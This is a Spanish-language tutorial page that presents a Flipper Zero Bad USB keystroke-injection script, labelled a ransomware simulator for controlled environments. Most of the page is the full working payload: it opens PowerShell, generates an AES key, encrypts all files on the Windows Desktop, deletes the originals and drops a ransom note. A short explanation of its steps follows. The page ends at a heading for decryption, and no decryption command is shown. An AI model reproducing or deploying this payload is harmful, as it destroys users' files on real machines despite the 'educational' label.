En esta página veremos un ejemplo de ransomware para sistemas Windows en un entorno controlado que se puede ejecutar desde Bad USB en Flippe
Simulador de Ransomware para Windows
Este script abrirá PowerShell y ejecutará automáticamente los comandos para cifrar archivos en archivos Windows:
RansomWin.txt
REM Simulador de Ransomware para Windows
REM Solo para fines educativos en entornos controlados.
DELAY 500
REM Abrir PowerShell
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
REM Ruta de los directorios y configuración
STRING $TargetPath = "$env:USERPROFILE\Desktop"
ENTER
STRING $KeyPath = "$env:USERPROFILE\Desktop\aes.key"
ENTER
STRING $EncryptedPath = "$env:USERPROFILE\Desktop\Encrypted"
ENTER
STRING $RansomNote = "$TargetPath\README.txt"
ENTER
REM Crear directorios necesarios
STRING New-Item -ItemType Directory -Force -Path $EncryptedPath
ENTER
REM Generar clave AES
STRING $AESKey = New-Object Byte[] 32; [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($AESKey); [System.IO.File]::WriteAllBytes($KeyPath, $AESKey)
ENTER
REM Función para cifrar archivos
STRING Function Encrypt-Files {
ENTER
STRING Param ([string]$InputFile)
ENTER
STRING $IV = New-Object Byte[] 16; [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($IV)
ENTER
STRING $AES = New-Object Security.Cryptography.AesManaged
ENTER
STRING $AES.Key = [System.IO.File]::ReadAllBytes($KeyPath); $AES.IV = $IV
ENTER
STRING $Encryptor = $AES.CreateEncryptor()
ENTER
STRING $InputStream = [System.IO.File]::OpenRead($InputFile)
ENTER
STRING $OutputStream = [System.IO.File]::OpenWrite("$EncryptedPath\$([System.IO.Path]::GetFileName($InputFile)).enc")
ENTER
STRING $OutputStream.Write($IV, 0, $IV.Length)
ENTER
STRING $CryptoStream = New-Object Security.Cryptography.CryptoStream $OutputStream, $Encryptor, "Write"
ENTER
STRING $InputStream.CopyTo($CryptoStream)
ENTER
STRING $CryptoStream.Close(); $InputStream.Close(); $OutputStream.Close()
ENTER
STRING Remove-Item $InputFile
ENTER
STRING }
ENTER
REM Cifrar archivos en el escritorio
STRING Get-ChildItem -Path $TargetPath -File | ForEach-Object { Encrypt-Files $_.FullName }
ENTER
REM Crear nota de rescate
STRING $RansomMessage = @"
ENTER
STRING ¡Tus archivos han sido cifrados!
ENTER
STRING Para recuperar tus archivos, necesitas la clave AES guardada en el sistema.
ENTER
STRING Clave de recuperación: $KeyPath
ENTER
STRING "@
ENTER
STRING Set-Content -Path $RansomNote -Value $RansomMessage
ENTER
REM Mensaje final
STRING Write-Host "Simulación completada. Archivos cifrados y nota de rescate creada en: $TargetPath"
ENTER
Cómo Funciona
Abre PowerShell:
Usa GUI r para abrir el cuadro de "Ejecutar" y luego escribe powershell para abrir la terminal.
Configura Rutas:
Define las rutas para los archivos de destino, clave AES, y la carpeta donde se almacenarán los archivos cifrados.
Cifra Archivos:
Cifra los archivos ubicados en el escritorio y los mueve a la carpeta Encrypted.
Crea Nota de Rescate:
Genera un archivo README.txt que informa al usuario cómo recuperar los archivos.
Simula el Comportamiento:
El script solo cifra archivos en el escritorio y no daña el sistema. La clave AES se guarda para facilitar la recuperación.
Descifrar Archivos
Usa el siguiente comando en PowerShell para descifrar los archivos: